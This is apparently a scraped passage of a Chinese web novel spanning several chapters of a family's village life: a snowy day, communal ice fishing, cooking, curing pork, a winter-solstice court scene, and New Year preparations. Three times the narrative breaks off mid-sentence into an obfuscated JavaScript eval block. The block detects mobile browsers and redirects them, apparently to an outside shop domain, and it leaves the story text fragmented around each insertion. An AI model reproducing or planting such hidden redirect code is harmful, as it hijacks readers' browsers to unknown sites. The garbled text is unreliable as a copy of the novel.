就在林阿爷进来,看见都快侵略到他书桌上的雪人儿,嘴角抽搐地要开口说话时,林知一只圆滚滚的白团子直接把它们给打落了。 “哈哈哈……”林知清脆的笑声传得老远,其中还夹杂着林义等人的抱怨和震怒声。 瞧着外面已经用雪团打起来的几人,林阿爷实在无奈,他敲了敲窗,“都快些进来读书了,你们今天的任务还没有完成呢……” 玩也玩得差不多了,几人乖乖的回房间学习去了。 等到下午雪终于停了,林知他们才迫不及待的奔进雪堆里,一群人齐心协力的堆了一个大雪人,这下可算是圆梦了。 林知还不往给它戴上一顶破草帽,林智拿出一个口袋当做衣服给它围上,他们走到远处满意地点点头,这样越发像个人了。 脚丫子踩在雪地上,发出咯吱咯吱的声音,还留下长长的一串脚印,几人欣喜不已,就这么一点儿雪也能玩上一整天。 当然,等晚上忙着到处给村里人帮忙修缮房屋,清理道路的林大郎几人回来,着实被院子里背对着他们的雪人给吓了一跳。 不出意外,几个孩子被修理了一顿。 林智捂着被揍的屁股,委屈地想,“大人真是不讲理,明明自己被一个雪人吓到了,还反过来怪我们。” 只是,他微不足道的抗议并没有引起任何重视。 林阿爷把没有抽完的烟杆在桌子上敲了敲,又捻出来一些点上,“怎么样?村里情况还好吧。” 才脱了湿衣服,用热水洗脸洗手的林大郎闻言回道:“村里没人伤着,就是吴婶子家的屋顶被压垮了,好在人没事儿。” 林二郎也在一边补充道:“还有几家的鸡棚鸭舍也被压垮的,可惜牲畜压死了几只……” 听见没人出什么事,围在一旁的人都默默松口气了。 “对了,阿爹,今天村长通知各家这两天要准备一下,可以下水捕鱼了。”林大郎坐下换了件厚衣服说道。 刚下过雪,河面都被冻住了。刚好表面有厚冰,但是底下的河流还是流动的,这样更好捕鱼。 芦苇荡那片儿的湖面积不小,里面也有不少鱼。 而且村里有规定,平日不许人私自拿网下河抓鱼,要等鱼长大,到冻河的时候,集体下河用渔网捕鱼,抓到的鱼,全村人一起分。 这样每年每家都能分到不少鱼,冬天的时候喝鱼汤,吃不完的做腊鱼放起来,开春也能一直吃点腥味。 不过,平日里并不拘着哪家下河抓个鱼或者钓鱼的,不过这样既费时又费力,还不一定抓到,就没有多少人去了。 “行,既然是村里的集体活动,到时候家里的生意就再停一天吧,你们几个都去帮忙。”林阿爷思虑过后,便这样安排了。 到时候捕鱼,每家每户的壮年人都会去出一份儿力,往年都是这样的安排,所以其他人并没有什么意见。 反而是林知他们很是雀跃,一年一度的捕鱼活动,这下又有好玩的了。 过两天,五更天不到,林阿爷就起了。林阿奶被他吵醒,不满地翻个身嘟哝道:“你又不去,起那么早做什么?” “唉,年纪大了睡不着。”林阿爷摆摆手道。 村里大多数人跟林阿爷一样早起的人不少,林大郎和林二郎林三郎他们点着火把出门去了。 天幕中清晰可见细细碎碎的星子,还有一轮精神抖擞的月亮。 林三郎搓了搓冻得发冷的脸,哈了一口气,“看来,今天会是个好天气啊!” 入冬了,天气变得愈加寒冷,一阵寒风迎面吹来,林大郎不由得缩了缩脖子,埋下头,毕竟说话就会灌风,他根本不想搭理林三郎。 还是林二郎看了一眼万里无云的天,点头附和道:“这样看起来应该不会再下雪了,正好可以捕鱼。” 几个人来到村长家,已经有不少年轻中年人聚在这里了。 可能天气太冷了,大家或蹲或坐都默契的没有说话。 “行了,你们把东西拿上,我们准备出发了。”村长见人也来得差不多了,直接招呼大家出发,村长儿子林力和其他几个人则扛着渔网。 这渔网不小,是村里为了捕鱼专门置办的,也算是公家的财产,只会在这个时候拿出来用。 村口这条河从上河村而来,到下河村去,流经长兴村三分之一个村子,平日里供村里人灌溉、浆洗、食用很是方便。 因为经过县城所以被叫做县河,当然,经过县城的河都叫做县河,所以这样的名字很多,这条河最后弯弯拐拐的注入大河再到丹江。 丹江流向大致呈西北-——东南向,流经商州区、丹凤县和商南县,也被叫做商州河。 丹江这个名字比较古老,尧时即名丹水。因传说曾产丹鱼而得名;也有传说,禹之外孙丹朱曾于此治水,为纪念他,后人称丹水、丹江。 县河向东流,在地势低洼处形成了湖泊,淤泥处长满了芦苇,所以村里人习惯叫芦苇荡,这是平时孩子们玩耍的好去处。冬日水位线下降了不少,但是还是有很大一片湖,这几天的一场大雪都结成厚厚的冰块。 湖面上,打起的火把如同光点上下浮动着,照着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林二郎边朝屋里走去,边揉了揉林知的脑袋,他可意识到了林知这丫头想去凑热闹,“还早着呢,等到下午再去捞网。” 松了一口气的林知点点头回了屋,回来的林大郎他们几人收拾着又用了饭。 下午,家里几个孩子早就按耐不住了,干什么都提不起兴趣,真想直接去湖边看看。 门口来找林义或者林智玩的小孩儿一趟一趟的,他们都有各自的玩伴圈,连林慧都有几个女孩儿来找。 “二叔公,村长伯伯叫我来喊你们去湖边起网了!”门口一个还吸溜着鼻涕的小孩儿喊过话就一溜烟跑了。 片刻,村里犹如热水烧开一般沸腾了起来,林阿爷带着几个儿子先走,林阿奶则带着几个儿媳拿着水桶或是篓子跟着。 孩子们则跑来跑去地来回在两头,他们都等不及了。 林知戴着她娘给做的毡帽,露出巴掌大的小脸蛋和一双杏眼,一手拉着俞珩,“快点儿,小花,我们要赶不上了。” 俞珩看着她猴急的模样也很期待冬捕的场面。 其他孩子都扎堆,只有俞珩一个人,林知见他孤零零的,就好心带上他一起。 近来林家做工的人也会看见俞珩,很是不方便,所以林家干脆就谎称他是罗氏的远方侄女,家里出了点事,来投奔的。 反正村里的人也没有见过罗氏的娘家人,而且这样村里的事儿也不少见,也就信了。 到了湖边,已经围着不少人,林知仗着个头小,拉着俞珩使劲挤到了前线。 “他们这是在干什么呢?”俞珩好奇的打量湖边上摆着的桌子和物品。 林知掂着脚,在那堆人里还发现了自己阿爷和不少老人,“应该是在祭祀吧,往年冬捕也要这样。” 林知说的对,这是在祭湖,一种古老而又虔诚的仪式。 村长点燃了香祭拜,心里默许下“求昌盛,求繁荣”的愿望,最后插好,笑着说,“好了,上天一定会佑庇我们的。” 村里人脸上都露出虔诚而美好的笑容。 47. 第47章 经过三四个时辰漫长的等待过后,收网的时刻终于到来。 祭完湖后,“渔把头”林虎手里拿着“抄捞子”,在已经凿好的那眼冰洞里搅了几下,使劲往上一提,从湖里捞出了一条活蹦乱跳的胖头鱼来。 这叫“开湖头鱼”,那鱼在空中不断地扭动,落在冰面上又上跳下蹦,上秤一称足有十几斤。 这是个好兆头啊!村里人都眉飞眼笑的。 零下好几度的冰面上,近百米的大网一点点地,从冰洞里被拉了出来。 紧接着,网里的鱼跃了起来发出“噼里啪啦”的声音,围观的人群欢呼了起来,拉网的汉子们喘着粗气,咯咯地笑了起来。 沉寂的湖泊变成了欢乐沸腾的收获之地,男人们忙着捞,女人们忙着捡,一个个桶里都快装不下了。 当然,最兴奋的还要数小孩子们了。一个个穿梭在人群之间,连抱带拖的捡着鱼往自家的桶里装。 冰上的村民已经回头冲孩子们挥手道:“去去去,别这儿玩儿,万一掉下去了怎么办?” 虽然冰冻住了,还是会有不小心踩到薄弱处的地方会掉下去。 但是最主要的是他们嫌小孩子太碍事儿,到处乱窜。这儿多脏啊!回去还得给他们洗衣服。 “我会凫水,掉进去淹不死。” “那也不行!” “略略略,我们才不管。” 孩子们成群结队的呼啦啦地跑到一边,但不一会儿又“蹬蹬蹬”地跑了回来,大人们忙着呢,可没空管他们,嘻嘻哈哈的乐得不行。 林知抬起头来找人,发现林仁他们早就不知道跑到哪里去了,人影都不见。而林智两个小的,使劲跟在林阿奶他们后面捡漏呢。 被网在里面的鱼,惊惶不安,在渔网里四处乱撞,尾巴拍打在冰面上发出阵阵啪啪声,较小的鱼会从渔网缝隙里钻出,可是哪能逃得出去,反而暴露了自己。 林知和俞珩立马扑上去,一人逮住一只双手提起来得意的“哈哈”大笑。 “快快快,那边还有鱼,它们要跑了!”林知眼尖手快地就要去捉。 于是林知和俞珩把鱼放进水桶,转身又加入了“战场”。 装起来的鱼一桶一桶的运回村里,村民们也知道不能竭泽而渔,因此网鱼上来时会捡一些不够大,却又活蹦乱跳的鱼给丢到河里去。 大的到时候会按各家各户的人头给分了。 这场盛会一直持续到傍晚。 家家户户也白得了这么多鱼,高兴得不行,估计每家能分到上百斤呢。 于是到了晚上,村里就到处都是飘着浓浓的鱼香味儿,团聚的家人,就着美味的鱼,分享着一天的收获。 毕竟鱼离了河就活不了多久了,死鱼可不好吃,所以还是得收拾出来。大多数人都选择用盐腌制一下,咸鱼还是能储存很久的。 当然,也有少部分人家选择拿到镇上甚至远一些的县城里卖。虽然既费时又费力,性价比不高,不过对于一文钱都要掰成两半来花的农家人,多一文钱的收入都要多一份儿底气。 林家把大鱼给养到了一个水缸里,木桶里还放一些,他们家人加上半大小子算多的了,还是分了几百斤。 林阿爷背着手来回巡视了两圈,就和林大郎道:“先用清水养着,等它们吐吐沙,明天你和二郎三郎拿一些到县城里去卖,看看能不能卖出去。” 这么多他们家也吃不完啊!虽然可以腌鱼,但是还是新鲜的好吃,能卖就卖了吧。 林大郎应下。 林知则和几个孩子蹲在一起,刚才捞鱼,大黄和林智他们配合得天衣无缝得了不少鱼,现在肚子吃得溜圆。 林智摸了摸大黄的肚皮,它欢快地四脚朝天躺下,还不忘打滚撒娇。 “嘿,你倒是机灵啊!”林知抓了抓大黄的脑袋,称赞道。 今天做晚饭,罗氏和钱氏捉了两条鱼去准备吃,简单点就是用豆腐炖。 林知好久没有吃鱼了,脑袋里全是鱼不仅有炖鱼和煎鱼,还有油炸,水煮肉片,鱼丸子各种做法。 当然后面的都不用想了,家里没这个条件。 她则径直冲向厨房,仰着小脑袋眼睛亮晶晶的和罗氏道:“阿娘,我们拿一条鱼来红烧吧。” 钱氏不知道什么红烧,在罗氏搭话前探头道:“啥是红烧啊?” 林知小嘴儿巴拉巴拉的说了一大堆,但是钱氏就理解到了一点——油炸,她好笑地点了点林知的额头道:“还油炸呢,哪来那么多的油?” 她道:“煮着最好吃……” 鱼也是肉啊,肉哪有不好吃的,钱氏想着,显然她不愿意照着林知的来。 林知只好可怜巴巴的转头看向她娘,“好不好嘛?阿娘……” 罗氏看着小女儿,又瞥见偷偷摸摸几个人来到后门口,小脑袋一颗颗地探进来,在门框上,自下而上排了一排。 林慧、林智和林敏三人睁大乌溜溜的大眼睛,一眨不眨地看着钱氏和罗氏。 “好吧。”最后两妯娌还是妥协了。 “耶!”几个孩子欢呼起来。 钱氏和罗氏无奈地摇摇头,这都是惯的。 正所谓冬鲫夏鲤,冬天是鲫鱼最肥美的季节,而野生鲫鱼的味道还要更鲜美一些。他们决定做一道豆腐炖鱼和一道林知说的什么红烧鱼。 锅底烧热后,罗氏往里倒了一点儿油刚好打湿就够了,将鲫鱼放进去,煎至两面金黄。 再拌入切好的葱与姜片,葱油与鱼肉酥炸的香气在空气中激烈地碰撞了起来。又往里倒了一大碗清水。 “阿慧,加点柴火。” “诶!” 林慧兴冲冲地往火盆里添了两根干柴。 然后罗氏把冻豆腐一块儿下进了鱼汤里,盖着锅盖开始焖煮。 这是林知新提出来的吃法,把豆腐冻后,里面就变成了蜂窝状。化开,切小块,与鲜肉、咸肉或咸菜同煮,很是好吃。 汤做好了就放进小釜里继续熬着,罗氏这儿按照林知的说法准备做红烧鱼。 处理好的鱼然后用葱姜蒜略码一码味儿,裹了薄薄的蛋清芡粉,便下锅油炸。 看着那大半锅油,钱氏很是心疼,早知道要这么多刚才就不答应了,现在把话收回来还来得及吗? 鱼炸得金黄,盛出来锅中留约一两余油,烧至四成热,改小火下姜片、蒜片、葱段炒出香味。 因为有些不熟练,鱼肉被罗氏炸的松散,不过这些都是小问题。 再放兑了料酒、大酱、些许糖醋和盐等调料的汁子,然后下鱼,大火收汁。 装盘时撒上葱花,鱼边缘油炸的金黄微微翘起,汤汁浓郁油亮。 端着盘子的钱氏转头对几个眼巴巴看着口水都要流出来的人道:“行了,先吃饭吧,阿慧,快去叫阿爷阿奶爹娘叔婶他们吃饭了。” “哦,好。”林慧丢下柴火就跑出去了。 一群孩子早闻到香味了,虽然今年家里经常能吃到肉了,但此时还是忍不住流口水。 林知转身就朝隔壁跑,在院子里听见这话的林义他们也纷纷不玩了,去摆桌椅和碗筷。 一家人坐在桌边,开心的端着饭碗,今天为了配菜,还专门蒸了栗米。虽然不是白白的大米,但是大家也很满足了。 鱼汤越煮越浓稠,到最后,竟成了诱人的奶白色。 只稍稍地洒了几粒粗盐便是美味儿,林阿爷先舀了一碗鱼汤,“好了,可以吃了。” 林智和林敏早就乖乖的坐着了,端着木碗与勺子自己舀着吃了起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230736|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有孔洞的豆腐吸满了奶白色的鱼汤,每一口下去都无比满足……众人仅仅是这么看着,便已经能想象出那股至上的美味。 而红烧鱼色泽红润发亮看起来就很有食欲,吃起来更是鱼肉味鲜嫩咸香。 林知就着足足吃了一大碗米饭。 “阿爷,我们想用家里的肥料给我们的寒瓜地施肥。”林知看见林阿爷他们搁下碗趁机提出道。 这段时间,他们天天一有空就往地里跑,坚持不懈的翻地。终于第一遍地已经基本翻完了,怕土地还是太贫瘠了,所以还需要拿肥料养一养,到时候开春再翻一遍。 家里人也不拘着他们,冬日里与其在家里猫着,还不如出去消耗一下他们过剩的精力。 至少好处是,家里打架吵架的少了。林阿奶都有些感慨,没有鸡飞狗跳,还怪冷清的。 今年家里堆了不少肥,后来林大郎他们堆的第二个坑也开始发酵了,所以肥料家里根本不愁用,所以林阿爷大方的说:“用吧,以前家里那个肥堆都给你们用了。” 先前家里那个肥堆本来也没有多少,还被林大郎他们舀去不少给新开的肥堆用来加快发酵速度,这还是林知当时说的呢。 所以他们一点儿也不心疼,虽然是给荒地用,倒还能接受。说不定等几个孩子玩腻了,那块儿地他们还能接手呢。 林阿爷暗搓搓地想。 哪知林阿爷只肯给他们用以前的肥料,林知气了,这不是过河拆桥吗? 她强势地摇头拒绝,一本正经地道:“不行,阿爷,那个沤肥的法子还是我得到的,我们也要用新肥料!” 林阿爷盯着林知,心想着万一用荒地上浪费了咋办? 最后在两人的讨价还价下,林知他们得到了先前堆的肥的一半和家里原来的肥堆的使用权。 吃过饭后,林家人又在商量家里的生意。 现在冬天菜少了,所以他们家的豆腐很受欢迎,之前还是随着豆花一起做这个生意,现在他们打算再派人单独出去卖,这样可以获得更多的利益。 “我们这几天又去市集卖豆腐了,就说和东街卖豆花那一家是一起的,嘿,你们猜怎么着,还有不少人冲着这个名头来买呢!”林三郎得意地说。 冬天菜样少,不是白菜就是萝卜,所以每天不论他们拿多少豆腐去县城都能卖干净。 “对,连一些饭馆酒楼的伙计都来和我们买,每次都是半桶半桶的买的。要不我们再多做一些?”林大郎提议道。 见豆腐这么受欢迎,根据这个情况,林家制定了新的计划。 因为现在县城要的量多,林阿奶将家里人分成了两组,一组钱氏领头,一组她领头。 先是林阿奶和马氏凌晨起床做两板豆腐,让林三郎带到县城里去;用过早食后她休息,而钱氏则开始带着林慧做第二趟豆腐,也是做两板,做好以后林大郎就送到县城里去,刚好能赶上下午人出来买菜。 剩下的林二郎和罗氏就固定来卖豆花了。 第二天他们用水桶装了不少鱼带去县城,好在有牛车不费多少劲儿。 有牛车节省时间和人力,因为做生意有广大的客源,所以林家的鱼比村里人好卖多了,这也是他们有胆子拿出来卖的原因。 县里买鱼这些的人还不少,反正在哪里买也都一样,关键林二郎还给他们便宜一些,而且这些鱼新鲜还是野生的,所以很快就卖了不少,剩下几条他们也带回来家里自己吃了。 尝试了几天,因为工作量的一下子加大,他们干脆在作坊里单独请人做了一个磨子,刚好家里有牛可以拉磨,这样他们轻松了不少。 而林仁他们都被拉来当了壮丁。 冬日农活儿少,所以他们时间也多,都想趁着闲时多攒点钱。 48. 第48章 民间有“冬腊风腌,蓄以御冬”的习俗。 冬至节气,一些农家开始动手做干腊肉,等到一个多月后春节时正好享受美食。 林家也不例外,这天林二郎在林阿奶的叮嘱下买了不少肉和材料回来。 这个时代多是做干腊肉,取牛羊獐鹿肉,在五香调料中淹浸两天,再用加入葱的清盐汤猛火煮肉,煮熟后取出挂在阴凉地方。 阴干过的腊肉可以过夏不坏,往往成为出远门常带的干粮。 不过林知还是更想念以前家里常用猪肉做的烟熏腊肉,猪肉经过腌制晒干那个味道跟口感可是非常的好,拿来下饭是最好不过了。 所以她缠着家里大人也买了一些猪肉回来,她要做一种新的腊肉。 她在林二郎去买肉的时候就多叮嘱了一定要后腿猪肉或五花三层肉,这样做出来的腊肉肥瘦相间,瘦而不柴,肥而不腻。 随着林知对家里的贡献越来越大,她的话语权和地位也隐约可见的上升了,所以一般这种要求大家都会满足她。 “只只,你要的肉给买回来了,新鲜的五花三层。”林二郎看见林知带着几个孩子在院子搭类似于灶台的东西,用的是当时起房子剩下的砖。 “哦,好,我来腌制一下。”林知告诉林仁他们怎么继续搭,然后起身准备去厨房。 “算了,还是我来吧。”林二郎看了一下他女儿的小身板,转头提着肉去了厨房。 在林知的理论指挥下,林二郎把猪肉分割成长条,林知则在一边用竹签扎些小眼,这样以利于进味。 然后用经过炒烫晾至温热的盐进行揉搓,香叶、茴香等香料腌渍。 “行了,先挂起来吧,要晾晒几天,我们还要准备点其他东西。”林知又跑回去倒腾她的灶台。 家里的干腊肉都是林阿奶带着来做,所以她并不参与。 玩得正起劲的林智瞧见她姐回来了,把小手放在背后一藏,笑嘿嘿地说:“阿姐,你回来啦。” 检查了一下,发现灶台搭好了,林知的视线从林智身上又移到林义身上,自然地摊开手,“什么好东西不跟大家一起分享?” 最后肉痛的林义把用自己赚的钱托伙伴买回来的糖给他们每人分了一块儿,“你真是个狗鼻子!这都被你发现了。” 林知把糖咬得嘎嘣儿响,“你们这叫‘此地无银三百两’,谁叫你们偷偷摸摸的。还有糖吃多了对牙齿不好,我这是帮你们分担一下。” 林义瞪大眼睛看着叉腰理直气壮的林知。 林仁无奈扶额。 俞珩捂嘴偷笑。 林智心虚撤回他的视线。 — 转眼已经是一年里黑夜最长、白日最短的冬至节,也被称为“一阳初起处,万物未生时”。 本朝,冬至是大节气。 冬至当日,宫中要举行冬至朝会与赏赐群臣,这实际上是从前朝才开始的习俗了,本朝自然也延续了这一传统。 而冬至祭天排在二十二祭之首,是一年中最重要的祭祀活动,地点一般在长安城南郊的圜丘。 礼部上下忙得脚后跟儿打着后脑勺,考吉日,净行宫,设神坛,备乘舆,斋戒不阙,俎豆皆列,夕而旦,祭而燎……还好最后整个大典仪式能按部就班进行。 礼部尚书有些忧伤地摸了一把自己所剩无几的头发。 冬至日,南郊圜丘彩旗猎猎、礼乐悠扬。 神武军及皇家銮驾列队入场,皇帝需在含元殿上行礼如仪,整个祭祀流程是很长的,包括了祭扫、升陛、奠玉帛、初献礼、傩舞祈福等仪式。 皇帝位于最上方,烟云缭绕中,行祭祀礼道:“吾等衣华夏服章,法始祖规制,以祀昊天。祈国家昌盛,万民安康……” 才举行没几个仪式,皇帝可见的体力不支了。 他的精神越发不好了,一旁侯着的大太监曹公公立马上前去扶着,“陛下,要不请太医来看看,他们都侯着呢。” 皇帝沉吟半刻,他的背影有些佝偻,“宣裴予,让二郎替我完成接下来的祭祀吧。” 二郎即秦王。 曹公公压下心中的惊骇,面上不动声色地招来一个小太监去请裴太医。 接下来,皇帝退居幕后,全程由秦王来主持祭祀,虽然他没有提前准备,但是行事有条不紊,连几个老臣都面色稍霁。 这一举动可谓一石激起千层浪,一时全朝舆论哗然。 毕竟祭祀都是由天子主持,再不济也是太子,虽然皇帝还没有立太子。那由秦王主持,是不是也变相表明了他的态度,更钟意秦王呢? 之前朝中呼声最大的定王一口后牙槽都要咬碎了,前面的行动全都功亏一篑了。 — 权利中心的风云变幻丝毫没有影响到普通百姓们的生活。 民间有“冬至大如年”的说法。 易曰:“先王以至日闭关,商旅不行。”这是说先代帝王因此在微阳初动的冬至闭关静养,商贾旅客不外出远行,君主也不省巡四方。 足以说明冬至的重要性。 而百姓也同样最重此节,无论贫富,一年之间积累假借,至此日更易新衣,备办饮食,享祀先祖。街巷因此热闹起来,商贾之声此起彼伏,庆祝往来,一如年节。 林家也很隆重地对待,不仅煮了羊肉汤,还包了饺子。 小孩子们都高兴得不得了,那可是白面做的皮,不拘猪肉白菜馅儿、或是加些豆腐,包点羊肉都很是可口。 传说当年张仲景告老还乡时,恰逢大雪纷飞的冬天,很多人的耳朵都被冻烂了。他就让弟子搭起棚子,用羊肉、辣椒和一些驱寒的药材放在锅里煮熟,然后捞起来剁碎,用面皮包成耳朵的样子,再放到锅里煮熟,施舍给百姓吃。 大家吃了以后,耳朵就都好了,后来每逢冬至,人们就模仿这做“捏冻耳朵”吃,后来就称它为“饺子”。 这是后世的说法,据林知了解本朝并没有这个说法,她对此嗤之以鼻,因为故事的背景是在东汉,那个时候哪里来的辣椒。 不过,她还是把这个故事一些情节挑挑拣拣地讲给了林仁他们听。 林仁感慨道:“这位张大人倒是位仁义之氏。” “嗯嗯,那他一定是个好官儿了!”林智点头附和着。 “你就凭这些判别一个人的好坏,未免有些太臆断了吧?”林义不是很赞成,他们闲时也听林知讲了不少典故或者野史故事,也有了一些自己的理解。 “噗——”林知摸了摸林智的头,“那我问你,你二哥抢了你的肉吃,这件事情是好是坏?” “坏人!”林智不假思索地说。 林敏愤世嫉俗地点头赞同。 “那你们觉得二哥是好人还是坏人呢?”林知忍俊不禁地问。 林智晃悠着小脑袋看了看林义,有些犹豫地说:“二哥是个好人吧?” 林义:……不是,你犹豫还加疑问是什么意思啊! “有时候我们眼见不一定为实,耳听也不一定为虚,有些事情要用心去感受的。”林知意味深长地对着一群小豆丁说,“当然,每个人都有自己的理解,你们也可以保留自己的意见。就像我认为,人无好坏,事有对错。” 俞珩也默默点头,毕竟圣人也无解,道理也说服不了每一个人。 讨论就此打住,因为他们经常就一些话题来讨论,最后也寻不到最正确的答案,也就不了了之。 不过最后时间会给出他们各自满意的答案。 冬至前后是积肥造肥的大好时机,同时要施好腊肥。对尚未犁翻的冬壤板结要抓紧耕翻,以疏松土壤、增强蓄水保水能力,并消灭越冬害虫。 林知获得家里肥料的使用权之后,带着林仁他们给土施了肥,还铺上了一层稻草,这样可以起到保温和抑制杂草的生长。 免得他们开春要做一次除草的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236356|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活儿。 冬至以后,大寒以前制作的腊肉保存得最久且不易变味。 之后在一个风和日丽的下午,其实也就是林知的肉腌制了七八天后,腌制的肉终于可以拿来烟熏了。 底下放新鲜柏丫点燃,因为是湿的,只有烟没有明火。然后把肉放在竹篦子上,上面盖一层油纸就好。 因为用松柏枝熏制,故夏季蚊蝇不爬,经三伏而不变质。这样熏出来的腊肉柏树油脂香,肉香,烟香,浓郁咸香,非常非常的香,别有一番风味。 因为林知的不熟练,难以掌握火候,林家小院儿犹如坠入仙境一般,一连几天都是白烟飘飘的。 吓得村里人还跑来救了一次火,以为林家烧起来了,等他们看见院子里蹲着的几个黄仆仆的小孩儿,误会自然而然地解开了。 两天以后,烟熏腊肉已经呈现金黄色,非常漂亮,柏丫的香味已经充分的融入到肉里面,表面已经彻底地收干了。 林家其他人通通松了一口气,这肉要是还不腌好,他们都要被腌入味儿了。 腌好的腊香味美而且久藏不腐,煮熟切片,瘦肉棕红有泽,肥肉油而不腻,林知很是满意。 这才有过年的味道嘛。 林知将腊肉晒干后就用糠壳掩埋于储物器皿中,这是很传统的方法。一般可以保存三个月味道是最佳的。 大概猪也从未想到,自己生命结束之后,还会经过浸泡、紧实、风干如此漫长的旅程,随着时间的流逝,味道渐渐浓郁,最后成为一种文化的符号。 腊月进入忙年的阶段。 这里并没有过腊八节喝腊八粥的习俗,但是过了腊八,忙年的节奏加快,新年元正的味道也越来了。 林家作坊出了一批又一批松花蛋,除了自家用来做粥,有很多也卖给摊贩或者散客。林阿奶定期发着每个月作坊的工钱和买竹筒的钱。因为县里其他做豆腐生意的竞争,他们家豆腐销量有所减少,但是趋于稳定了。 林大郎他们去县城,也时不时会带些年货,鸡鸭鱼肉、茶油酱醋、南北炒货、糖饵果品、春联年画儿回来。 毕竟年关将至,该卖的得赶紧卖掉,该置办的东西也得置办了,一旦除夕来临,集市将彻底关闭,一直到正月初六才会开市,也有甚至会等到正月十七才营业。 但是不管怎么说,为新年做好充足的准备都是很有必要的。 不用等到腊月二十三以后再扫房子,林家已经做完了年终大扫除。 二十七,洗疚疾。这是除日前的洗浴、祛秽习俗,来源于上古祭祀前的斋戒沐浴。 这天是个大晴天,林家烧了一大锅水,把全家都洗刷了个遍,连大黄都被捉来刷了毛,柔顺飘长的黄毛在太阳底下熠熠生辉。换洗下来的被子、衣物挂在院子里晒着暖呼呼的太阳,被风吹得四处打转儿。 除夕这天,林知早早地从床上爬起来,披上新袄新裤,穿上鞋子。 这是罗氏花费好长时间给他们做的,她除了林知和林智,连俞珩那份儿也做了。 衣服很暖和,有一股淡淡的新衣服的香味,颜色以深蓝为主。 鞋底很厚,因为要把厚布叠在一起,是用白布裹了裱成格背,再一层层地叠起来缝紧,还会刷上一层浆糊,待到浆糊干了,格背也就变硬了这样更耐穿。 林知跳下床在地上来回地走了几遍,还用力地踩了踩。她点点头,嗯,不仅暖和,而且鞋底够结实,就是不怎么轻便。 照例,林知先是跑到林二郎他们的房间,对床上躺着的福宝乐宝亲亲抱抱举高高。 自从她和林智搬走了,他们原来睡的小床被林二郎改装了,外围安上一圈木栏给两个小孩儿当床了。 四个多月的孩子已经能翻身了,这样他们的活动空间大些,还安全。 林知抱着香香软软的妹妹,乐宝被她逗着露出微笑的表情还一边发出呵呵的笑,被独自丢下的福宝急得去抓林知的袖子。 49. 第49章 “阿——阿姐——”一声尖锐的爆鸣划破了寂静的清晨,还未见其人,便先闻其声。 林智一溜烟地冲进来,人还没有站稳,小嘴就张开说话,“兔子、我们家的兔子……” 林知扶额,猜想可能是大黄又对那三只兔子下手了吧。之前抓回来的野兔还剩下三只,暂时养在了鸡笼里,后来她爹还贴心地给它们做了竹篾隔开单独的空间。 可大黄对它们垂涎三尺已久,老是在笼子边垂着脖子,低着头或者侧着脸,眼冒绿光地瞅啊瞅啊。 看着看着,脑袋就越凑越近。要不是它身子太大,就直接钻进去了。 兔子们愤怒而无奈,只能在笼子里龇牙咧嘴刨地不停。 林智为了这事儿,整天像个母鸡护着小鸡崽儿一样,可惜手心手背都是肉,他也不能对大黄下狠手。 于是家里又是一顿兔飞虎跳。 所以林知对林智的大呼小叫并不在意,这样的戏码他每天都要上演好几遍。 “不是,是兔子生了……好多的小兔子啊!”林智终于喘完这口气,说出来了。 片刻,家里的孩子立刻屁颠屁颠地跑到兔子笼边瞅一瞅。 “就是这样,我今天早上拿叶子去喂它们,结果发现窝里多了好多小兔子。”林智看着那些胖胖的灰毛兔边光溜溜的小兔子解释道。 “原来是要生宝宝了,我还以为它们是被喂得太肥了呢。”林知若有所思地说。 林智很热衷于喂动物,不拘是家里那头黄牛,或是大黄还是这一窝兔子,他没事儿就喜欢来摸摸看看,还对着它们说话个不停。 “那现在怎么办?”林义膛目瞪舌地问。 一群孩子默默无言地蹲在笼子前,看见灰毛兔顶着这么多人的目光,默默把刚出生的孩子护在肚皮下,一副护崽的架势。 答案不言而喻了。 那还能怎么办?只有养着呗! 林知看了看大黄,又看了看兔子们,思考着自己家变成动物园的可能性。 对于这么小的兔子,林智他们还是很感兴趣的,于是拿着新鲜叶子去喂兔子,玩得不亦乐乎。 反倒是林阿爷发现他们这么早去看刚出生的兔子,乐陶陶地说:“新年到,家里添丁进口也算一件好事儿了。” 哪知他还在这里感慨,林知已经跑到那厢去从杂物拖出来一个布袋子到院子里。 林三郎定睛一看,乐了,“嘿,这不是上次我们留的栗子吗?要不是只只你今天找出来,我们就给忘记了。” 林知能说她一直惦记着的嘛,不过她只是笑眯眯地问林阿奶,“阿奶,我来做糖炒栗子好不好!” “这多麻烦,哪有这个功夫,拿去灶台上蒸一蒸也一样好吃的。”林阿奶老神在在的坐在凳子上,享受一下阳光,懒得动弹。 “阿奶,今天过年呢!好不好嘛?”连林义他们也屁颠屁颠的跑过来围在凳子边。 “好不好嘛?”林智和林敏学舌道。 “行了行了,你们去吧去吧!”林阿奶被这么多孙子孙女围着,耳边也是“嗡嗡”的,便摆手答应了。 